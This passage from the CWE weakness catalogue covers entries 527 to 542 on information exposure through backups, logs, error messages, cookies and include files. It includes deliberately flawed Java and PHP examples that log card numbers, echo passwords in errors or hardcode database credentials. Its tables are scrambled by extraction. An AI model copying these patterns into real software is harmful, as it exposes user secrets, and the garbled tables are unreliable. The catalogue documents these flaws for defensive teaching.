<td>ChildOf</td>
<td></td>
<td>200</td>
<td>Information Exposure</td>
<td>699</td>
<td>384</td>
</tr>
<tr>
<td>ChildOf</td>
<td></td>
<td>731</td>
<td>OWASP Top Ten 2004 Category A10 - Insecure Configuration Management</td>
<td>1000</td>
<td>1123</td>
</tr>
<tr>
<td>ChildOf</td>
<td></td>
<td>963</td>
<td>SFP Secondary Cluster: Exposed Data</td>
<td>888</td>
<td>1381</td>
</tr>
</tbody>
</table>

Taxonomy Mappings

| Software Fault Patterns | SFP23 | Exposed Data |

CWE-527: Exposure of CVS Repository to an Unauthorized Control Sphere

Weakness ID: 527 (Weakness Variant)  Status: Incomplete

Description

Summary
The product stores a CVS repository in a directory or other container that is accessible to actors outside of the intended control sphere.

Extended Description
Information contained within a CVS subdirectory on a web server or other server could be recovered by an attacker and used for malicious purposes. This information may include usernames, filenames, path root, and IP addresses.

Time of Introduction
- Operation

Common Consequences
Confidentiality
Read application data
Read files or directories

Potential Mitigations
CWE-528: Exposure of Core Dump File to an Unauthorized Control Sphere

Operation
Distribution
System Configuration

Recommendations include removing any CVS directories and repositories from the production server, disabling the use of remote CVS repositories, and ensuring that the latest CVS patches and version updates have been performed.

Relationships

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td></td>
<td>538</td>
<td>File and Directory Information Exposure</td>
<td>699</td>
</tr>
<tr>
<td>ChildOf</td>
<td></td>
<td>552</td>
<td>Files or Directories Accessible to External Parties</td>
<td>699</td>
</tr>
<tr>
<td>ChildOf</td>
<td></td>
<td>731</td>
<td>OWASP Top Ten 2004 Category A10 - Insecure Configuration Management</td>
<td>711</td>
</tr>
<tr>
<td>ChildOf</td>
<td></td>
<td>963</td>
<td>SFP Secondary Cluster: Exposed Data</td>
<td>888</td>
</tr>
</tbody>
</table>

Taxonomy Mappings

Mapped Taxonomy Name
Anonymous Tool Vendor (under NDA)

CWE-528: Exposure of Core Dump File to an Unauthorized Control Sphere

Weakness ID: 528 (Weakness Variant)

Status: Draft

Description

Summary
The product generates a core dump file in a directory that is accessible to actors outside of the intended control sphere.

Time of Introduction
- Implementation
- Operation

Common Consequences
Confidentiality
Read application data
Read files or directories

Potential Mitigations
System Configuration
Protect the core dump files from unauthorized access.

Relationships

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td></td>
<td>538</td>
<td>File and Directory Information Exposure</td>
<td>699</td>
</tr>
<tr>
<td>ChildOf</td>
<td></td>
<td>552</td>
<td>Files or Directories Accessible to External Parties</td>
<td>699</td>
</tr>
<tr>
<td>ChildOf</td>
<td></td>
<td>731</td>
<td>OWASP Top Ten 2004 Category A10 - Insecure Configuration Management</td>
<td>711</td>
</tr>
<tr>
<td>ChildOf</td>
<td></td>
<td>742</td>
<td>CERT C Secure Coding Section 08 - Memory Management (MEM)</td>
<td>734</td>
</tr>
<tr>
<td>ChildOf</td>
<td></td>
<td>876</td>
<td>CERT C++ Secure Coding Section 08 - Memory Management (MEM)</td>
<td>868</td>
</tr>
<tr>
<td>ChildOf</td>
<td></td>
<td>963</td>
<td>SFP Secondary Cluster: Exposed Data</td>
<td>888</td>
</tr>
</tbody>
</table>

Taxonomy Mappings

Mapped Taxonomy Name
Anonymous Tool Vendor (under NDA)
CWE-529: Exposure of Access Control List Files to an Unauthorized Control Sphere

**Weakness ID:** 529 (Weakness Variant)  
**Status:** Incomplete

**Description**

**Summary**

The product stores access control list files in a directory or other container that is accessible to actors outside of the intended control sphere.

**Extended Description**

Exposure of these access control list files may give the attacker information about the configuration of the site or system. This information may then be used to bypass the intended security policy or identify trusted systems from which an attack can be launched.

**Time of Introduction**

- Operation

**Common Consequences**

- Confidentiality
- Access Control
- Read application data
- Bypass protection mechanism

**Potential Mitigations**

**System Configuration**

Protect access control list files.

**Relationships**

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td>538</td>
<td>File and Directory Information Exposure</td>
<td>699 1000</td>
<td>880</td>
</tr>
<tr>
<td>ChildOf</td>
<td>552</td>
<td>Files or Directories Accessible to External Parties</td>
<td>699 1000</td>
<td>892</td>
</tr>
<tr>
<td>ChildOf</td>
<td>731</td>
<td>OWASP Top Ten 2004 Category A10 - Insecure Configuration Management</td>
<td>711</td>
<td>1123</td>
</tr>
<tr>
<td>ChildOf</td>
<td>963</td>
<td>SFP Secondary Cluster: Exposed Data</td>
<td>888</td>
<td>1381</td>
</tr>
</tbody>
</table>

**Taxonomy Mappings**

<table>
<thead>
<tr>
<th>Mapped Taxonomy Name</th>
<th>Node ID</th>
<th>Mapped Node Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>CERT C Secure Coding</td>
<td>MEM06-C</td>
<td>Ensure that sensitive data is not written out to disk</td>
</tr>
<tr>
<td>CERT C++ Secure Coding</td>
<td>MEM06-CPP</td>
<td>Ensure that sensitive data is not written out to disk</td>
</tr>
</tbody>
</table>

---

CWE-530: Exposure of Backup File to an Unauthorized Control Sphere

**Weakness ID:** 530 (Weakness Variant)  
**Status:** Incomplete

**Description**

**Summary**

A backup file is stored in a directory that is accessible to actors outside of the intended control sphere.

**Extended Description**

Often, old files are renamed with an extension such as .~bk to distinguish them from production files. The source code for old files that have been renamed in this manner and left in the webroot can often be retrieved. This renaming may have been performed automatically by the web server, or manually by the administrator.
CWE Version 2.11
CWE-531: Information Exposure Through Test Code

Time of Introduction
• Implementation
• Operation

Common Consequences
Confidentiality
Read application data
At a minimum, an attacker who retrieves this file would have all the information contained in it, whether that be database calls, the format of parameters accepted by the application, or simply information regarding the architectural structure of your site.

Potential Mitigations
Policy
Recommendations include implementing a security policy within your organization that prohibits backing up web application source code in the webroot.

Relationships
<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td>531</td>
<td>699</td>
<td>File and Directory Information Exposure</td>
<td>880</td>
</tr>
<tr>
<td>ChildOf</td>
<td>552</td>
<td>1000</td>
<td>Files or Directories Accessible to External Parties</td>
<td>892</td>
</tr>
<tr>
<td>ChildOf</td>
<td>731</td>
<td>711</td>
<td>OWASP Top Ten 2004 Category A10 - Insecure Configuration Management</td>
<td>1123</td>
</tr>
<tr>
<td>ChildOf</td>
<td>963</td>
<td>888</td>
<td>SFP Secondary Cluster: Exposed Data</td>
<td>1381</td>
</tr>
</tbody>
</table>

Taxonomy Mappings
<table>
<thead>
<tr>
<th>Mapped Taxonomy Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>Anonymous Tool Vendor (under NDA)</td>
</tr>
</tbody>
</table>

CWE-531: Information Exposure Through Test Code
Weakness ID: 531 (Weakness Variant) Status: Incomplete

Description
Summary
Accessible test applications can pose a variety of security risks. Since developers or administrators rarely consider that someone besides themselves would even know about the existence of these applications, it is common for them to contain sensitive information or functions.

Time of Introduction
• Operation

Common Consequences
Confidentiality
Read application data

Demonstrative Examples
Examples of common issues with test applications include administrative functions, listings of usernames, passwords or session identifiers and information about the system, server or application configuration.

Potential Mitigations
Distribution
Installation
Remove test code before deploying the application into production.

Relationships
<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td>540</td>
<td>699</td>
<td>Information Exposure Through Source Code</td>
<td>882</td>
</tr>
<tr>
<td>ChildOf</td>
<td>731</td>
<td>711</td>
<td>OWASP Top Ten 2004 Category A10 - Insecure Configuration Management</td>
<td>1123</td>
</tr>
</tbody>
</table>
CWE-532: Information Exposure Through Log Files

Description

Summary
Information written to log files can be of a sensitive nature and give valuable guidance to an attacker or expose sensitive user information.

Extended Description
While logging all information may be helpful during development stages, it is important that logging levels be set appropriately before a product ships so that sensitive user data and system information are not accidentally exposed to potential attackers.

Time of Introduction
- Architecture and Design
- Implementation
- Operation

Common Consequences
Confidentiality
Read application data
Logging sensitive user data often provides attackers with an additional, less-protected path to acquiring the information.

Likelihood of Exploit
Medium

Demonstrative Examples

Example 1:
In the following code snippet, a user's full name and credit card number are written to a log file.

Java Example:
```java
logger.info("Username: " + username + ", CCN: " + ccn);
```

Example 2:
This code stores location information about the current user:

Java Example:
```java
locationClient = new LocationClient(this, this, this);
locationClient.connect();
currentUser.setLocation(locationClient.getLastLocation());
...
catch (Exception e) {
    AlertDialog.Builder builder = new AlertDialog.Builder(this);
    builder.setMessage("Sorry, this application has experienced an error.");
    AlertDialog alert = builder.create();
    alert.show();
    Log.e("ExampleActivity", "Caught exception: " + e + " While on User:" + User.toString());
}
```
When the application encounters an exception it will write the user object to the log. Because the user object contains location information, the user's location is also written to the log.

Potential Mitigations
CWE Version 2.11
CWE-533: Information Exposure Through Server Log Files

Architecture and Design
Implementation
Consider seriously the sensitivity of the information written into log files. Do not write secrets into the log files.

Operation
Protect log files against unauthorized read/write.

Implementation
Adjust configurations appropriately when software is transitioned from a debug state to production.

Relationships

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td></td>
<td>538</td>
<td>File and Directory Information Exposure</td>
<td>699</td>
</tr>
<tr>
<td>ChildOf</td>
<td></td>
<td>552</td>
<td>Files or Directories Accessible to External Parties</td>
<td>699</td>
</tr>
<tr>
<td>ChildOf</td>
<td></td>
<td>731</td>
<td>OWASP Top Ten 2004 Category A10 - Insecure Configuration Management</td>
<td>711</td>
</tr>
<tr>
<td>ChildOf</td>
<td></td>
<td>857</td>
<td>CERT Java Secure Coding Section 12 - Input Output (FIO)</td>
<td>844</td>
</tr>
<tr>
<td>ChildOf</td>
<td></td>
<td>963</td>
<td>SFP Secondary Cluster: Exposed Data</td>
<td>888</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>533</td>
<td>Information Exposure Through Server Log Files</td>
<td>699</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>534</td>
<td>Information Exposure Through Debug Log Files</td>
<td>699</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>542</td>
<td>Information Exposure Through Cleanup Log Files</td>
<td>699</td>
</tr>
</tbody>
</table>

Taxonomy Mappings

<table>
<thead>
<tr>
<th>Anonymous Tool Vendor (under NDA)</th>
<th>Node ID</th>
<th>Mapped Node Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>CERT Java Secure Coding</td>
<td>FIO13-J</td>
<td>Do not log sensitive information outside a trust boundary</td>
</tr>
<tr>
<td>Software Fault Patterns</td>
<td>SFP23</td>
<td>Exposed Data</td>
</tr>
</tbody>
</table>

Related Attack Patterns

<table>
<thead>
<tr>
<th>CAPEC-ID</th>
<th>Attack Pattern Name</th>
<th>(CAPEC Version 2.10)</th>
</tr>
</thead>
<tbody>
<tr>
<td>215</td>
<td>Fuzzing and observing application log data/errors for application mapping</td>
<td></td>
</tr>
</tbody>
</table>

CWE-533: Information Exposure Through Server Log Files

Weakness ID: 533 (Weakness Variant) Status: Incomplete

Description

Summary
A server.log file was found. This can give information on whatever application left the file. Usually this can give full path names and system information, and sometimes usernames and passwords.

Time of Introduction

• Implementation
• Operation

Common Consequences

Confidentiality
Read application data

Potential Mitigations

Architecture and Design
Consider seriously the sensitivity of the information written into log files. Do not write secrets into the log files.
System Configuration
Protect log files against unauthorized read/write.

Relationships

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td></td>
<td>532</td>
<td>Information Exposure Through Log Files</td>
<td>699</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td>1000</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>632</td>
<td>Weaknesses that Affect Files or Directories</td>
<td>631</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td>983</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>731</td>
<td>OWASP Top Ten 2004 Category A10 - Insecure Configuration Management</td>
<td>711</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td>1123</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>857</td>
<td>CERT Java Secure Coding Section 12 - Input Output (FIO)</td>
<td>844</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td>1300</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>963</td>
<td>SFP Secondary Cluster: Exposed Data</td>
<td>888</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td>1381</td>
</tr>
</tbody>
</table>

Affected Resources
- File/Directory

Taxonomy Mappings

<table>
<thead>
<tr>
<th>Mapped Taxonomy Name</th>
<th>Node ID</th>
<th>Mapped Node Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>Anonymous Tool Vendor (under NDA)</td>
<td></td>
<td></td>
</tr>
<tr>
<td>CERT Java Secure Coding</td>
<td>FIO13-J</td>
<td>Do not log sensitive information outside a trust boundary</td>
</tr>
<tr>
<td>Software Fault Patterns</td>
<td>SFP23</td>
<td>Exposed Data</td>
</tr>
</tbody>
</table>

CWE-534: Information Exposure Through Debug Log Files

Weakness ID: 534 (Weakness Variant) Status: Draft

Description

Summary
The application does not sufficiently restrict access to a log file that is used for debugging.

Time of Introduction
- Operation

Common Consequences
- Confidentiality
- Read application data

Potential Mitigations

Distribution
Remove debug log files before deploying the application into production.

Relationships

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td></td>
<td>532</td>
<td>Information Exposure Through Log Files</td>
<td>699</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td>1000</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>731</td>
<td>OWASP Top Ten 2004 Category A10 - Insecure Configuration Management</td>
<td>711</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td>1123</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>963</td>
<td>SFP Secondary Cluster: Exposed Data</td>
<td>888</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td>1381</td>
</tr>
</tbody>
</table>

Taxonomy Mappings

<table>
<thead>
<tr>
<th>Mapped Taxonomy Name</th>
<th>Node ID</th>
<th>Mapped Node Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>Anonymous Tool Vendor (under NDA)</td>
<td></td>
<td></td>
</tr>
<tr>
<td>CERT Java Secure Coding</td>
<td>FIO13-J</td>
<td></td>
</tr>
<tr>
<td>Software Fault Patterns</td>
<td>SFP23</td>
<td>Exposed Data</td>
</tr>
</tbody>
</table>

CWE-535: Information Exposure Through Shell Error Message

Weakness ID: 535 (Weakness Variant) Status: Incomplete

Description

Summary
A command shell error message indicates that there exists an unhandled exception in the web application code. In many cases, an attacker can leverage the conditions that cause these errors in order to gain unauthorized access to the system.

**Time of Introduction**
- Architecture and Design
- Implementation

**Common Consequences**

**Confidentiality**

**Read application data**

**Relationships**

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td></td>
<td>210</td>
<td>Information Exposure Through Self-generated Error Message</td>
<td>699</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td>1000</td>
</tr>
<tr>
<td>ChildOf</td>
<td></td>
<td>963</td>
<td>SFP Secondary Cluster: Exposed Data</td>
<td>888</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td>1381</td>
</tr>
</tbody>
</table>

**Taxonomy Mappings**

<table>
<thead>
<tr>
<th>Mapped Taxonomy Name</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>Anonymous Tool Vendor (under NDA)</td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>CWE-536: Information Exposure Through Servlet Runtime Error Message</td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
</tbody>
</table>

**Weakness ID:** 536 *(Weakness Variant)*

**Status:** Incomplete

**Description**

**Summary**

A servlet error message indicates that there exists an unhandled exception in your web application code and may provide useful information to an attacker.

**Time of Introduction**

- Implementation

**Common Consequences**

**Confidentiality**

**Read application data**

The error message may contain the location of the file in which the offending function is located. This may disclose the web root's absolute path as well as give the attacker the location of application files or configuration information. It may even disclose the portion of code that failed. In many cases, an attacker can use the data to launch further attacks against the system.

**Demonstrative Examples**

The following servlet code does not catch runtime exceptions, meaning that if such an exception were to occur, the container may display potentially dangerous information (such as a full stack trace).

**Java Example:**

```java
public void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
    String username = request.getParameter("username");
    // May cause unchecked IllegalArgumentException.
    if (username.length() < 10) {
        ...
    }
}
```

**Relationships**

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td></td>
<td>210</td>
<td>Information Exposure Through Self-generated Error Message</td>
<td>699</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td>1000</td>
</tr>
<tr>
<td>ChildOf</td>
<td></td>
<td>963</td>
<td>SFP Secondary Cluster: Exposed Data</td>
<td>888</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td>1381</td>
</tr>
</tbody>
</table>

**Taxonomy Mappings**
CWE-537: Information Exposure Through Java Runtime Error Message

Weakness ID: 537 (Weakness Variant)  
Status: Incomplete

Description

Summary
In many cases, an attacker can leverage the conditions that cause unhandled exception errors in order to gain unauthorized access to the system.

Time of Introduction

- Implementation

Applicable Platforms

Languages
- Java

Common Consequences

Confidentiality
Read application data

Demonstrative Examples

Example 1:
In the following Java example the class InputFileRead enables an input file to be read using a FileReader object. In the constructor of this class a default input file path is set to some directory on the local file system and the method setInputFile must be called to set the name of the input file to be read in the default directory. The method readInputFile will create the FileReader object and will read the contents of the file. If the method setInputFile is not called prior to calling the method readInputFile then the File object will remain null when initializing the FileReader object. A Java RuntimeException will be raised, and an error message will be output to the user.

Java Example:

```java
public class InputFileRead {
    private File readFile = null;
    private FileReader reader = null;
    private String inputFilePath = null;
    private final String DEFAULT_FILE_PATH = "c:\somedirectory\";
    public InputFileRead() {
        inputFilePath = DEFAULT_FILE_PATH;
    }
    public void setInputFile(String inputFile) {
        /* Assume appropriate validation / encoding is used and privileges / permissions are preserved */
    }
    public void readInputFile() {
        try {
            reader = new FileReader(readFile);
            ...
        } catch (RuntimeException rex) {
            System.err.println("Error: Cannot open input file in the directory " + inputFilePath);
            System.err.println("Input file has not been set, call setInputFile method before calling readInputFile");
        } catch (FileNotFoundException ex) {...}
    }
}
```

However, the error message output to the user contains information regarding the default directory on the local file system. This information can be exploited and may lead to unauthorized access or use of the system. Any Java RuntimeExceptions that are handled should not expose sensitive information to the user.

Example 2:
In the example below, the BankManagerLoginServlet servlet class will process a login request to determine if a user is authorized to use the BankManager Web service. The doPost method will retrieve the username and password from the servlet request and will determine if the user is authorized. If the user is authorized the servlet will go to the successful login page. Otherwise, the servlet will raise a FailedLoginException and output the failed login message to the error page of the service.

Java Example:

```java
public class BankManagerLoginServlet extends HttpServlet {
  protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
    try {
      // Get username and password from login page request
      String username = request.getParameter("username");
      String password = request.getParameter("password");
      // Authenticate user
      BankManager bankMgr = new BankManager();
      boolean isAuthentic = bankMgr.authenticateUser(username, password);
      // If user is authenticated then go to successful login page
      if (isAuthentic) {
        request.setAttribute("login", new String("Login Successful."));
        getServletContext().getRequestDispatcher("/BankManagerServiceLoggedIn.jsp").forward(request, response);
      } else {
        // Otherwise, raise failed login exception and output unsuccessful login message to error page
        throw new FailedLoginException("Failed Login for user " + username + " with password " + password);
      }
    } catch (FailedLoginException ex) {
      // output failed login message to error page
      request.setAttribute("error", new String("Login Error");
      request.setAttribute("message", ex.getMessage());
      getServletContext().getRequestDispatcher("/ErrorPage.jsp").forward(request, response);
    }
  }
}
```

However, the output message generated by the FailedLoginException includes the user-supplied password. Even if the password is erroneous, it is probably close to the correct password. Since it is printed to the user's page, anybody who can see the screen display will be able to see the password. Also, if the page is cached, the password might be written to disk.

Potential Mitigations

**Implementation**

Do not expose sensitive error information to the user.

**Relationships**

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td></td>
<td>210</td>
<td>Information Exposure Through Self-generated Error Message</td>
<td>699</td>
</tr>
<tr>
<td></td>
<td></td>
<td>1000</td>
<td></td>
<td></td>
</tr>
<tr>
<td>ChildOf</td>
<td></td>
<td>963</td>
<td>SFP Secondary Cluster: Exposed Data</td>
<td>888</td>
</tr>
</tbody>
</table>

**Taxonomy Mappings**

- Mapped Taxonomy Name: CWE-538: File and Directory Information Exposure
- Anonymous Tool Vendor (under NDA)

**CWE-538: File and Directory Information Exposure**

**Weakness ID:** 538 *(Weakness Base)*  
**Status:** Draft

**Description**

**Summary**

The product stores sensitive information in files or directories that are accessible to actors outside of the intended control sphere.

**Time of Introduction**

- Implementation
- Operation

**Applicable Platforms**

**Languages**

- All

**Common Consequences**

Confidentiality
Read files or directories

**Potential Mitigations**

**Architecture and Design**

**Operation**

**System Configuration**

Do not expose file and directory information to the user.

**Relationships**

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td>200</td>
<td>Information Exposure</td>
<td>384</td>
<td></td>
</tr>
<tr>
<td>ChildOf</td>
<td>815</td>
<td>OWASP Top Ten 2010 Category A6 - Security Misconfiguration</td>
<td>1251</td>
<td></td>
</tr>
<tr>
<td>ChildOf</td>
<td>963</td>
<td>SFP Secondary Cluster: Exposed Data</td>
<td>1381</td>
<td></td>
</tr>
<tr>
<td>ParentOf</td>
<td>527</td>
<td>Exposure of CVS Repository to an Unauthorized Control Sphere</td>
<td>871</td>
<td></td>
</tr>
<tr>
<td>ParentOf</td>
<td>528</td>
<td>Exposure of Core Dump File to an Unauthorized Control Sphere</td>
<td>872</td>
<td></td>
</tr>
<tr>
<td>ParentOf</td>
<td>529</td>
<td>Exposure of Access Control List Files to an Unauthorized Control Sphere</td>
<td>873</td>
<td></td>
</tr>
<tr>
<td>ParentOf</td>
<td>530</td>
<td>Exposure of Backup File to an Unauthorized Control Sphere</td>
<td>873</td>
<td></td>
</tr>
<tr>
<td>ParentOf</td>
<td>532</td>
<td>Information Exposure Through Log Files</td>
<td>875</td>
<td></td>
</tr>
<tr>
<td>ParentOf</td>
<td>539</td>
<td>Information Exposure Through Persistent Cookies</td>
<td>882</td>
<td></td>
</tr>
<tr>
<td>ParentOf</td>
<td>540</td>
<td>Information Exposure Through Source Code</td>
<td>882</td>
<td></td>
</tr>
<tr>
<td>ParentOf</td>
<td>548</td>
<td>Information Exposure Through Directory Listing</td>
<td>889</td>
<td></td>
</tr>
<tr>
<td>ParentOf</td>
<td>651</td>
<td>Information Exposure Through WSDL File</td>
<td>1010</td>
<td></td>
</tr>
</tbody>
</table>

**Related Attack Patterns**

<table>
<thead>
<tr>
<th>CAPEC-ID</th>
<th>Attack Pattern Name (CAPEC Version 2.10)</th>
</tr>
</thead>
<tbody>
<tr>
<td>95</td>
<td>WSDL Scanning</td>
</tr>
</tbody>
</table>

**References**


**Maintenance Notes**

Depending on usage, this could be a weakness or a category. Further study of all its children is needed, and the entire sub-tree may need to be clarified. The current organization is based primarily on the exposure of sensitive information as a consequence, instead of as a primary weakness.

There is a close relationship with CWE-552, which is more focused on weaknesses. As a result, it may be more appropriate to convert CWE-538 to a category.
CWE-539: Information Exposure Through Persistent Cookies

**Weakness ID:** 539 *(Weakness Variant)*  
**Status:** Incomplete

**Description**

**Summary**
Persistent cookies are cookies that are stored on the browser's hard drive. This can cause security and privacy issues depending on the information stored in the cookie and how it is accessed.

**Extended Description**
Cookies are small bits of data that are sent by the web application but stored locally in the browser. This lets the application use the cookie to pass information between pages and store variable information. The web application controls what information is stored in a cookie and how it is used. Typical types of information stored in cookies are session identifiers, personalization and customization information, and in rare cases even usernames to enable automated logins.

There are two different types of cookies: session cookies and persistent cookies. Session cookies just live in the browser's memory, and are not stored anywhere, but persistent cookies are stored on the browser's hard drive.

**Time of Introduction**
- Architecture and Design
- Implementation

**Common Consequences**
- Confidentiality
- Read application data

**Potential Mitigations**
- **Architecture and Design**
  - Do not store sensitive information in persistent cookies.

**Relationships**

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td>📄</td>
<td>538</td>
<td>File and Directory Information Exposure</td>
<td>699</td>
</tr>
<tr>
<td></td>
<td>📄</td>
<td>729</td>
<td>OWASP Top Ten 2004 Category A8 - Insecure Storage</td>
<td>1000</td>
</tr>
<tr>
<td></td>
<td>📄</td>
<td>963</td>
<td>SFP Secondary Cluster: Exposed Data</td>
<td>711</td>
</tr>
</tbody>
</table>

**Taxonomy Mappings**

- **Mapped Taxonomy Name**
  - Anonymous Tool Vendor (under NDA)

**Related Attack Patterns**

<table>
<thead>
<tr>
<th>CAPEC-ID</th>
<th>Attack Pattern Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>21</td>
<td>Exploitation of Trusted Credentials</td>
</tr>
<tr>
<td>31</td>
<td>Accessing/Intercepting/Modifying HTTP Cookies</td>
</tr>
<tr>
<td>39</td>
<td>Manipulating Opaque Client-based Data Tokens</td>
</tr>
<tr>
<td>59</td>
<td>Session Credential Falsification through Prediction</td>
</tr>
<tr>
<td>60</td>
<td>Reusing Session IDs (aka Session Replay)</td>
</tr>
</tbody>
</table>

CWE-540: Information Exposure Through Source Code

**Weakness ID:** 540 *(Weakness Variant)*  
**Status:** Incomplete

**Description**

**Summary**
Source code on a web server often contains sensitive information and should generally not be accessible to users.

**Extended Description**
There are situations where it is critical to remove source code from an area or server. For example, obtaining Perl source code on a system allows an attacker to understand the logic of the script and extract extremely useful information such as code bugs or logins and passwords.

**Time of Introduction**
- Implementation

**Common Consequences**
- Confidentiality
- Read application data

**Potential Mitigations**
- Architecture and Design
- System Configuration

Recommendations include removing this script from the web server and moving it to a location not accessible from the Internet.

---

### CWE-541: Information Exposure Through Include Source Code

**Weakness ID:** 541 *(Weakness Variant)*

**Status:** Incomplete

**Description**

**Summary**
If an include file source is accessible, the file can contain usernames and passwords, as well as sensitive information pertaining to the application and system.

**Time of Introduction**
- Implementation

**Common Consequences**
- Confidentiality
- Read application data

**Demonstrative Examples**

The following code uses an include file to store database credentials:

```php
<?php
$dbName = 'usersDB';
$dbPassword = 'skjdhn#67nkjd3$3$';
?>
```

**Bad Code**
CWE Version 2.11
CWE-542: Information Exposure Through Cleanup Log Files

login.php

PHP Example:  

```php
<?php
include('database.inc');
$db = connectToDB($dbName, $dbPassword);
$db.authenticateUser($username, $password);
?>
```

If the server does not have an explicit handler set for .inc files it may send the contents of database.inc to an attacker without pre-processing, if the attacker requests the file directly. This will expose the database name and password. Note this is also an example of CWE-433.

Potential Mitigations
Architecture and Design  
Do not store sensitive information in include files.

Architecture and Design
System Configuration  
Protect include files from being exposed.

Relationships

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td></td>
<td>540</td>
<td>Information Exposure Through Source Code</td>
<td>699</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td>1000</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>731</td>
<td>OWASP Top Ten 2004 Category A10 - Insecure Configuration</td>
<td>711</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td>Management</td>
<td>1123</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>963</td>
<td>SFP Secondary Cluster: Exposed Data</td>
<td>888</td>
</tr>
</tbody>
</table>

Taxonomy Mappings

- Mapped Taxonomy Name
  - Anonymous Tool Vendor (under NDA)

CWE-542: Information Exposure Through Cleanup Log Files

Weakness ID: 542 (Weakness Variant)  
Status: Incomplete

Description

Summary  
The application does not properly protect or delete a log file related to cleanup.

Time of Introduction
- Architecture and Design
- Implementation

Common Consequences
Confidentiality  
Read application data

Potential Mitigations
Architecture and Design  
Do not store sensitive information in log files.

Relationships

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td></td>
<td>532</td>
<td>Information Exposure Through Log Files</td>
<td>699</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td>1000</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>731</td>
